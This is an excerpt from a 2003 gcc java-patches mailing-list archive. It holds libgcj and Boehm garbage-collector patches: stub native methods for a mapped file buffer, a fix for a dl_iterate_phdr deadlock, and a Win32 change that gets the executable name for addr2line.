} + + final public ByteBuffer putInt (int index, int value) + { + nio_write_Int_file_channel (ch, index, limit (), value, address); + return this; + } + + final public LongBuffer asLongBuffer () + { +// LongBuffer res = new MappedLongFileBuffer (ch); +// res.limit ((limit () * 1) / 8); +// return res; + throw new Error ("not implemented"); + } + + final public long getLong () + { + long a = nio_read_Long_file_channel (ch, position (), limit (), address); + position (position () + 1); + return a; + } + + final public ByteBuffer putLong (long value) + { + nio_write_Long_file_channel (ch, position (), limit (), value, address); + position (position () + 1); + return this; + } + + final public long getLong (int index) + { + long a = nio_read_Long_file_channel (ch, index, limit (), address); + return a; + } + + final public ByteBuffer putLong (int index, long value) + { + nio_write_Long_file_channel (ch, index, limit (), value, address); + return this; + } + + final public FloatBuffer asFloatBuffer () + { +// FloatBuffer res = new MappedFloatFileBuffer (ch); +// res.limit ((limit () * 1) / 4); +// return res; + throw new Error ("not implemented"); + } + + final public float getFloat () + { + float a = nio_read_Float_file_channel (ch, position (), limit (), address); + position (position () + 1); + return a; + } + + final public ByteBuffer putFloat (float value) + { + nio_write_Float_file_channel (ch, position (), limit (), value, address); + position (position () + 1); + return this; + } + + final public float getFloat (int index) + { + float a = nio_read_Float_file_channel (ch, index, limit (), address); + return a; + } + + final public ByteBuffer putFloat (int index, float value) + { + nio_write_Float_file_channel (ch, index, limit (), value, address); + return this; + } + + final public DoubleBuffer asDoubleBuffer () + { +// DoubleBuffer res = new MappedDoubleFileBuffer (ch); +// res.limit ((limit () * 1) / 8); +// return res; + throw new Error ("not implemented"); + } + + final public double getDouble () + { + double a = nio_read_Double_file_channel (ch, position (), limit (), address); + position (position () + 1); + return a; + } + + final public ByteBuffer putDouble (double value) + { + nio_write_Double_file_channel (ch, position (), limit (), value, address); + position (position () + 1); + return this; + } + + final public double getDouble (int index) + { + double a = nio_read_Double_file_channel (ch, index, limit (), address); + return a; + } + + final public ByteBuffer putDouble (int index, double value) + { + nio_write_Double_file_channel (ch, index, limit (), value, address); + return this; + } +} Index: gnu/java/nio/natMappedByteFileBuffer.cc =================================================================== RCS file: gnu/java/nio/natMappedByteFileBuffer.cc diff -N gnu/java/nio/natMappedByteFileBuffer.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ gnu/java/nio/natMappedByteFileBuffer.cc 25 Feb 2003 11:08:07 -0000 @@ -0,0 +1,140 @@ +// natMappedByteFileBuffer.cc + +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#include + +#include +#include +#include + +#ifdef HAVE_UNISTD_H +#include +#endif + +#ifdef HAVE_FCNTL_H +#include +#endif + +#include +#include + +jbyte +gnu::java::nio::MappedByteFileBuffer::nio_read_Byte_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +jchar +gnu::java::nio::MappedByteFileBuffer::nio_read_Char_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +jdouble +gnu::java::nio::MappedByteFileBuffer::nio_read_Double_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +jfloat +gnu::java::nio::MappedByteFileBuffer::nio_read_Float_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +jint +gnu::java::nio::MappedByteFileBuffer::nio_read_Int_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +jlong +gnu::java::nio::MappedByteFileBuffer::nio_read_Long_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +jshort +gnu::java::nio::MappedByteFileBuffer::nio_read_Short_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +void +gnu::java::nio::MappedByteFileBuffer::nio_write_Byte_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jbyte, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +void +gnu::java::nio::MappedByteFileBuffer::nio_write_Char_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jchar, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +void +gnu::java::nio::MappedByteFileBuffer::nio_write_Double_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jdouble, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +void +gnu::java::nio::MappedByteFileBuffer::nio_write_Float_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jfloat, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +void +gnu::java::nio::MappedByteFileBuffer::nio_write_Int_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jint, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +void +gnu::java::nio::MappedByteFileBuffer::nio_write_Long_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jlong, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} + +void +gnu::java::nio::MappedByteFileBuffer::nio_write_Short_file_channel + (gnu::java::nio::FileChannelImpl*, + jint, jint, jshort, jlong) +{ + throw new ::java::lang::Error (_Jv_NewStringUTF ("not implemented")); +} --Boundary-00=_5+0W+2ahyrNGuhO-- From java-patches-return-6276-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 25 20:19:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19099 invoked by alias); 25 Feb 2003 20:19:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19029 invoked from network); 25 Feb 2003 20:19:56 -0000 Received: from unknown (HELO palrel12.hp.com) (156.153.255.237) by 172.16.49.205 with SMTP; 25 Feb 2003 20:19:56 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by palrel12.hp.com (Postfix) with ESMTP id 542ED1C01929 for ; Tue, 25 Feb 2003 12:19:56 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h1PKJsY05685 for ; Tue, 25 Feb 2003 12:19:55 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Tue, 25 Feb 2003 12:19:53 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Feb 2003 12:19:53 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'java-patches@gcc.gnu.org'" Subject: dl_iterate_phdr() deadlock patch Date: Tue, 25 Feb 2003 12:19:47 -0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C2DD0B.3DFF5E80" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2DD0B.3DFF5E80 Content-Type: text/plain; charset="iso-8859-1" This patch is extracted from my current GC tree. I would like to check it into both the trunk and 3.3. It should do 4 things: 1) Eliminate the dl_iterate_phdr() deadlock, by calling dl_iterate_phdr only before the GC stops the world. 2) If dl_iterate_phdr() is available, it should use that to also determine location information for the main static data segment. This should remove the reliance on __data_start, which gets bound incorrectly with -Bsymbolic. 3) It tries to be a bit more careful about really not collecting if GC_dont_gc is set. This is more important since dynamic libraries are no longer enumerated with the world stopped. There is more of a cleanup along these lines in my tree. 4) Make sure that free list header blocks always get marked unconditionally. (I think I fixed this at Jeff's request (?) a long time ago, but the patch never made it into the gcc tree. It might not technically be necessary for gcj, but I'd be more comfortable if it were in all versions of the tree.) Question: Is it currently true that GC_dlopen can only be called from one thread at a time? If not, I need to add a bit more of a patch to make sure that GC_dont_gc is maintained correctly in the presence of concurrent calls. It's easy to grab the fix from my tree, but I'll only put it into 3.3 if necessary. Request: could someone who has seen the dl_iterate_phdr() deadlocks test this berfore I check it in? Thanks. Hans ------_=_NextPart_000_01C2DD0B.3DFF5E80 Content-Type: application/octet-stream; name="0225gcdiff" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="0225gcdiff" Index: ChangeLog=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/boehm-gc/ChangeLog,v=0A= retrieving revision 1.143=0A= diff -u -r1.143 ChangeLog=0A= --- ChangeLog 11 Feb 2003 18:22:08 -0000 1.143=0A= +++ ChangeLog 25 Feb 2003 18:25:43 -0000=0A= @@ -1,3 +1,19 @@=0A= +2003-02-24 Hans Boehm =0A= + * mark_rts.c (GC_cond_register_dynamic_libraries): add.=0A= + (GC_push_roots): explicitly mark free list headers, register=0A= + dynamic libraries only if !REGISTER_LIBRARIES_EARLY.=0A= + * alloc.c (GC_stopped_mark): Conditionally call=0A= + GC_cond_register_dynamic_libraries().=0A= + (GC_collect_a_little_inner, GC_try_to_collect_inner): Check = GC_dont_gc.=0A= + * dyn_load.c (GC_register_main_static_data): define.=0A= + (GC_register_dyn_libraries (Linux /proc, Linux ELF versions)):=0A= + no longer skip main data.=0A= + * misc.c (GC_REGISTER_MAIN_STATIC_DATA): define.=0A= + (GC_init_inner): Make main data registration conditional.=0A= + * include/private/gc_priv.h (GC_register_main_static_data): = declare.=0A= + * include/private/gcconfig.h (REGISTER_LIBRARIES_EARLY): define=0A= + for LINUX.=0A= +=0A= 2003-02-11 Andreas Tobler =0A= =0A= * include/private/gcconfig.h: undefine MPROTECT_VDB for MACOSX=0A= Index: alloc.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/boehm-gc/alloc.c,v=0A= retrieving revision 1.9=0A= diff -u -r1.9 alloc.c=0A= --- alloc.c 12 Feb 2002 04:37:53 -0000 1.9=0A= +++ alloc.c 25 Feb 2003 18:25:43 -0000=0A= @@ -306,6 +306,7 @@=0A= GC_bool GC_try_to_collect_inner(stop_func)=0A= GC_stop_func stop_func;=0A= {=0A= + if (GC_dont_gc) return FALSE;=0A= if (GC_incremental && GC_collection_in_progress()) {=0A= # ifdef CONDPRINT=0A= if (GC_print_stats) {=0A= @@ -386,6 +387,7 @@=0A= {=0A= register int i;=0A= =0A= + if (GC_dont_gc) return;=0A= if (GC_incremental && GC_collection_in_progress()) {=0A= for (i =3D GC_deficit; i < GC_RATE*n; i++) {=0A= if (GC_mark_some((ptr_t)0)) {=0A= @@ -446,6 +448,9 @@=0A= CLOCK_TYPE start_time, current_time;=0A= # endif=0A= =0A= +# if defined(REGISTER_LIBRARIES_EARLY)=0A= + GC_cond_register_dynamic_libraries();=0A= +# endif=0A= STOP_WORLD();=0A= # ifdef PRINTTIMES=0A= GET_TIME(start_time);=0A= Index: dyn_load.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/boehm-gc/dyn_load.c,v=0A= retrieving revision 1.17=0A= diff -u -r1.17 dyn_load.c=0A= --- dyn_load.c 9 Apr 2002 00:39:15 -0000 1.17=0A= +++ dyn_load.c 25 Feb 2003 18:25:43 -0000=0A= @@ -355,10 +355,6 @@=0A= /* Stack mapping; discard */=0A= continue;=0A= }=0A= - if (start <=3D datastart && end > datastart && maj_dev !=3D 0) = {=0A= - /* Main data segment; discard */=0A= - continue;=0A= - }=0A= # ifdef THREADS=0A= if (GC_segment_is_thread_stack(start, end)) continue;=0A= # endif=0A= @@ -384,6 +380,13 @@=0A= }=0A= }=0A= =0A= +/* We now take care of the main data segment ourselves: */=0A= +GC_bool GC_register_main_static_data()=0A= +{=0A= + return FALSE;=0A= +}=0A= + =0A= +# define HAVE_REGISTER_MAIN_STATIC_DATA=0A= //=0A= // parse_map_entry parses an entry from /proc/self/maps so we can=0A= // locate all writable data segments that belong to shared = libraries.=0A= @@ -469,13 +472,6 @@=0A= + sizeof (info->dlpi_phnum))=0A= return -1;=0A= =0A= - /* Skip the first object - it is the main program. */=0A= - if (*(int *)ptr =3D=3D 0)=0A= - {=0A= - *(int *)ptr =3D 1;=0A= - return 0;=0A= - }=0A= -=0A= p =3D info->dlpi_phdr;=0A= for( i =3D 0; i < (int)(info->dlpi_phnum); ((i++),(p++)) ) {=0A= switch( p->p_type ) {=0A= @@ -510,6 +506,14 @@=0A= }=0A= }=0A= =0A= +/* Do we need to separately register the main static data segment? = */=0A= +GC_bool GC_register_main_static_data()=0A= +{=0A= + return (dl_iterate_phdr =3D=3D 0);=0A= +}=0A= +=0A= +#define HAVE_REGISTER_MAIN_STATIC_DATA=0A= +=0A= # else /* !LINUX || version(glibc) < 2.2.4 */=0A= =0A= /* Dynamic loading code for Linux running ELF. Somewhat tested on=0A= @@ -775,10 +779,23 @@=0A= }=0A= # endif=0A= =0A= -# ifndef MSWINCE=0A= +# ifdef MSWINCE=0A= + /* Do we need to separately register the main static data segment? = */=0A= + GC_bool GC_register_main_static_data()=0A= + {=0A= + return FALSE;=0A= + }=0A= +# else /* win32 */=0A= extern GC_bool GC_no_win32_dlls;=0A= -# endif=0A= +=0A= + GC_bool GC_register_main_static_data()=0A= + {=0A= + return GC_no_win32_dlls;=0A= + }=0A= +# endif /* win32 */=0A= =0A= +# define HAVE_REGISTER_MAIN_STATIC_DATA=0A= +=0A= void GC_register_dynamic_libraries()=0A= {=0A= MEMORY_BASIC_INFORMATION buf;=0A= @@ -1079,4 +1096,15 @@=0A= int GC_no_dynamic_loading;=0A= =0A= #endif /* !PCR */=0A= +=0A= #endif /* !DYNAMIC_LOADING */=0A= +=0A= +#ifndef HAVE_REGISTER_MAIN_STATIC_DATA=0A= +=0A= +/* Do we need to separately register the main static data segment? = */=0A= +GC_bool GC_register_main_static_data()=0A= +{=0A= + return TRUE;=0A= +}=0A= +#endif /* HAVE_REGISTER_MAIN_STATIC_DATA */=0A= +=0A= Index: mark_rts.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/boehm-gc/mark_rts.c,v=0A= retrieving revision 1.9=0A= diff -u -r1.9 mark_rts.c=0A= --- mark_rts.c 12 Feb 2002 04:37:53 -0000 1.9=0A= +++ mark_rts.c 25 Feb 2003 18:25:43 -0000=0A= @@ -506,6 +506,17 @@=0A= void GC_mark_thread_local_free_lists();=0A= #endif=0A= =0A= +void GC_cond_register_dynamic_libraries()=0A= +{=0A= +# if (defined(DYNAMIC_LOADING) || defined(MSWIN32) || defined(MSWINCE) = \=0A= + || defined(PCR)) && !defined(SRC_M3)=0A= + GC_remove_tmp_roots();=0A= + if (!GC_no_dls) GC_register_dynamic_libraries();=0A= +# else=0A= + GC_no_dls =3D TRUE;=0A= +# endif=0A= +}=0A= +=0A= /*=0A= * Call the mark routines (GC_tl_push for a single pointer, = GC_push_conditional=0A= * on groups of pointers) on every top level accessible pointer.=0A= @@ -519,19 +530,20 @@=0A= GC_bool all;=0A= ptr_t cold_gc_frame;=0A= {=0A= - register int i;=0A= + int i;=0A= + int kind;=0A= =0A= /*=0A= * Next push static data. This must happen early on, since = it's=0A= * not robust against mark stack overflow.=0A= */=0A= - /* Reregister dynamic libraries, in case one got added. */=0A= -# if (defined(DYNAMIC_LOADING) || defined(MSWIN32) || = defined(MSWINCE) \=0A= - || defined(PCR)) && !defined(SRC_M3)=0A= - GC_remove_tmp_roots();=0A= - if (!GC_no_dls) GC_register_dynamic_libraries();=0A= -# else=0A= - GC_no_dls =3D TRUE;=0A= + /* Reregister dynamic libraries, in case one got added. */=0A= + /* There is some argument for doing this as late as possible, = */=0A= + /* especially on win32, where it can change asynchronously. */=0A= + /* In those cases, we do it here. But on other platforms, it's = */=0A= + /* not safe with the world stopped, so we do it earlier. */=0A= +# if !defined(REGISTER_LIBRARIES_EARLY)=0A= + GC_cond_register_dynamic_libraries();=0A= # endif=0A= =0A= /* Mark everything in static data areas = */=0A= @@ -541,6 +553,18 @@=0A= GC_static_roots[i].r_end, all);=0A= }=0A= =0A= + /* Mark all free list header blocks, if those were allocated from = */=0A= + /* the garbage collected heap. This makes sure they don't */=0A= + /* disappear if we are not marking from static data. It also = */=0A= + /* saves us the trouble of scanning them, and possibly that of = */=0A= + /* marking the freelists. */=0A= + for (kind =3D 0; kind < GC_n_kinds; kind++) {=0A= + GC_PTR base =3D GC_base(GC_obj_kinds[kind].ok_freelist);=0A= + if (0 !=3D base) {=0A= + GC_set_mark_bit(base);=0A= + }=0A= + }=0A= + =0A= /* Mark from GC internal roots if those might otherwise have = */=0A= /* been excluded. */=0A= if (GC_no_dls || roots_were_cleared) {=0A= Index: misc.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/boehm-gc/misc.c,v=0A= retrieving revision 1.24=0A= diff -u -r1.24 misc.c=0A= --- misc.c 9 Apr 2002 00:39:15 -0000 1.24=0A= +++ misc.c 25 Feb 2003 18:25:43 -0000=0A= @@ -75,6 +75,14 @@=0A= #undef STACKBASE=0A= #endif=0A= =0A= +/* Dont unnecessarily call GC_register_main_static_data() in case = */=0A= +/* dyn_load.c isn't linked in. = */=0A= +#ifdef DYNAMIC_LOADING=0A= +# define GC_REGISTER_MAIN_STATIC_DATA() = GC_register_main_static_data()=0A= +#else=0A= +# define GC_REGISTER_MAIN_STATIC_DATA() TRUE=0A= +#endif=0A= +=0A= GC_FAR struct _GC_arrays GC_arrays /* =3D { 0 } */;=0A= =0A= =0A= @@ -572,7 +580,7 @@=0A= GC_init_win32();=0A= # endif=0A= # if defined(SEARCH_FOR_DATA_START)=0A= - GC_init_linux_data_start();=0A= + if (GC_REGISTER_MAIN_STATIC_DATA()) GC_init_linux_data_start();=0A= # endif=0A= # if (defined(NETBSD) || defined(OPENBSD)) && defined(__ELF__)=0A= GC_init_netbsd_elf();=0A= @@ -619,7 +627,7 @@=0A= =0A= /* Add initial guess of root sets. Do this first, since sbrk(0) = */=0A= /* might be used. */=0A= - GC_register_data_segments();=0A= + if (GC_REGISTER_MAIN_STATIC_DATA()) = GC_register_data_segments();=0A= GC_init_headers();=0A= GC_bl_init();=0A= GC_mark_init();=0A= Index: include/private/gc_priv.h=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/boehm-gc/include/private/gc_priv.h,v=0A= retrieving revision 1.9=0A= diff -u -r1.9 gc_priv.h=0A= --- include/private/gc_priv.h 19 May 2002 17:36:14 -0000 1.9=0A= +++ include/private/gc_priv.h 25 Feb 2003 18:25:43 -0000=0A= @@ -1462,6 +1462,11 @@=0A= # endif=0A= void GC_register_dynamic_libraries GC_PROTO((void));=0A= /* Add dynamic library data sections to the root set. */=0A= +=0A= +GC_bool GC_register_main_static_data GC_PROTO((void));=0A= + /* We need to register the main data segment. Returns = */=0A= + /* TRUE unless this is done implicitly as part of = */=0A= + /* dynamic library registration. = */=0A= =0A= /* Machine dependent startup routines */=0A= ptr_t GC_get_stack_base GC_PROTO((void)); /* Cold end of stack */=0A= Index: include/private/gcconfig.h=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/boehm-gc/include/private/gcconfig.h,v=0A= retrieving revision 1.27=0A= diff -u -r1.27 gcconfig.h=0A= --- include/private/gcconfig.h 11 Feb 2003 18:22:08 -0000 1.27=0A= +++ include/private/gcconfig.h 25 Feb 2003 18:25:44 -0000=0A= @@ -1801,6 +1801,15 @@=0A= # define CACHE_LINE_SIZE 32 /* Wild guess */=0A= # endif=0A= =0A= +# ifdef LINUX=0A= +# define REGISTER_LIBRARIES_EARLY=0A= + /* We sometimes use dl_iterate_phdr, which may acquire an internal = */=0A= + /* lock. This isn't safe after the world has stopped. So we must = */=0A= + /* call GC_register_dynamic_libraries before stopping the world. = */=0A= + /* For performance reasons, this may be beneficial on other */=0A= + /* platforms as well, though it should be avoided in win32. */=0A= +# endif /* LINUX */=0A= +=0A= # ifndef CLEAR_DOUBLE=0A= # define CLEAR_DOUBLE(x) \=0A= ((word*)x)[0] =3D 0; \=0A= ------_=_NextPart_000_01C2DD0B.3DFF5E80-- From java-patches-return-6277-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 26 05:01:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26589 invoked by alias); 26 Feb 2003 05:01:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26576 invoked from network); 26 Feb 2003 05:01:01 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 26 Feb 2003 05:01:01 -0000 Received: from d7500 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1Q50xd21534 for ; Tue, 25 Feb 2003 23:00:59 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Tue, 25 Feb 2003 23:00:12 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: <1U5ZSPD0176326187ZYPLA087HEYSDB.3e5c49dc@d7500> Subject: Patch: addr2line and the name of the executable MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------sGqZpQDkKoKjMo/s66whGd" ------------sGqZpQDkKoKjMo/s66whGd Content-Type: text/plain; charset="windows-1252" Hi People, This patch, using GetModuleFilename() on Win32 to retrieve the name of the executable, addresses a need identified by Ranjit. EXECUTIVE SUMMARY - The patch is needed because, as Ranjit pointed out, stack traces are broken on Win32 because addr2line needs an ".exe" extension, which isn't always present in argv[0]. Using GetModuleFilename() remedies this. - The patch introduces an interface whereby other platforms can also opt to provide implementation-specific name for _Jv_ThisExecutable() other than argv[0]. - The patch only changes behavior on mingw32. All other platforms are unaffected. I've tested this by building gcc/gcj on i686 Linux and Win32 and everything looks okay. BORING DETAILS Here is Ranjit's original post, which identifies this need: http://gcc.gnu.org/ml/java/2003-02/msg00284.html My approach is outlined here: http://gcc.gnu.org/ml/java/2003-02/msg00306.html There was a thread among Ranjit, Andrew and me concerning this which started here: http://gcc.gnu.org/ml/java/2003-02/msg00284.html In the end, I opted to have gnu.gcj.progname always return _Jv_ThisExecutable() based on this reasoning: http://gcc.gnu.org/ml/java/2003-02/msg00491.html THE PATCH What follows is my patch. I've also sent it as an attachment because the diff for prims.cc picked up an embedded page break. (Why are we putting embedded control characters in our source files?!) -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-02-25 Mohan Embar * configure.in: added AC_DEFINE(HAVE_PLATFORM_GETEXENAME) for mingw * acconfig.h: new HAVE_PLATFORM_GETEXENAME: undefine * configure: rebuilt * include/config.h.in: rebuilt (using autoheader) * prims.cc: if HAVE_PLATFORM_GETEXENAME is defined, declare an external _Jv_platform_exename for retrieving our process' executable name. This mechanism overrides any other means of deterimining the executable name except DISABLE_MAIN_ARGS * win32.cc: _Jv_platform_exename implementation using Win32 GetModuleFileName Index: acconfig.h =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/acconfig.h,v retrieving revision 1.26 diff -u -2 -r1.26 acconfig.h --- acconfig.h 29 Aug 2002 18:05:14 -0000 1.26 +++ acconfig.h 25 Feb 2003 13:42:48 -0000 @@ -138,4 +138,7 @@ #undef HAVE_PROC_SELF_EXE +/* Define if you have a platform-specific _Jv_platform_exename */ +#undef HAVE_PLATFORM_GETEXENAME + /* Define if you have dladdr() */ #undef HAVE_DLADDR Index: configure.in =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/configure.in,v retrieving revision 1.142.4.6 diff -u -2 -r1.142.4.6 configure.in --- configure.in 20 Feb 2003 09:12:24 -0000 1.142.4.6 +++ configure.in 25 Feb 2003 13:42:50 -0000 @@ -542,4 +542,9 @@ AC_DEFINE(HAVE_PROC_SELF_EXE) ;; + *mingw*) + # Has a platform-specific mechanism for + # for retrieving the name of the executable. + AC_DEFINE(HAVE_PLATFORM_GETEXENAME) + ;; esac fi Index: prims.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/prims.cc,v retrieving revision 1.76 diff -u -2 -r1.76 prims.cc --- prims.cc 5 Dec 2002 00:49:29 -0000 1.76 +++ prims.cc 25 Feb 2003 13:42:52 -0000 @@ -100,8 +100,14 @@ void (*_Jv_JVMPI_Notify_THREAD_END) (JVMPI_Event *event); #endif - extern "C" void _Jv_ThrowSignal (jthrowable) __attribute ((noreturn)); +#ifdef HAVE_PLATFORM_GETEXENAME +extern "C" void _Jv_platform_exename(char* buf, int size); + // this platform has a specific way of retrieving our executable + // name which overrides other mechanisms (such as assuming + // argv[0], etc.) +#endif + // Just like _Jv_Throw, but fill in the stack trace first. Although // this is declared extern in order that its name not be mangled, it @@ -962,8 +968,11 @@ -#ifdef DISABLE_MAIN_ARGS +#if defined(DISABLE_MAIN_ARGS) _Jv_ThisExecutable ("[Embedded App]"); -#else -#ifdef HAVE_PROC_SELF_EXE +#elif defined(HAVE_PLATFORM_GETEXENAME) + char exec_name[300]; + _Jv_platform_exename(exec_name, sizeof(exec_name)); + _Jv_ThisExecutable (exec_name); +#elif defined(HAVE_PROC_SELF_EXE) char exec_name[20]; sprintf (exec_name, "/proc/%d/exe", getpid ()); @@ -971,6 +980,5 @@ #else _Jv_ThisExecutable (argv[0]); -#endif /* HAVE_PROC_SELF_EXE */ -#endif /* DISABLE_MAIN_ARGS */ +#endif /* DISABLE_MAIN_ARGS, HAVE_PLATFORM_GETEXENAME, HAVE_PROC_SELF_EXE */ try Index: win32.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/win32.cc,v retrieving revision 1.12.22.2 diff -u -2 -r1.12.22.2 win32.cc --- win32.cc 19 Feb 2003 16:27:22 -0000 1.12.22.2 +++ win32.cc 25 Feb 2003 13:42:52 -0000 @@ -197,4 +197,9 @@ } +extern "C" void _Jv_platform_exename(char* buf, int size) +{ + GetModuleFileName(NULL, buf, size); +} + /* Store up to SIZE return address of the current program state in ARRAY and return the exact number of values stored. */ ------------sGqZpQDkKoKjMo/s66whGd Content-Disposition: attachment; filename="ntvexe.diff" Content-Type: application/octet-stream Content-Transfer-Encoding: Base64 Q2hhbmdlTG9nCjIwMDMtMDItMjUgIE1vaGFuIEVtYmFyICA8Z251c3R1ZmZA dGhpc2lzY29vbC5jb20+CgoJKiBjb25maWd1cmUuaW46IGFkZGVkIEFDX0RF 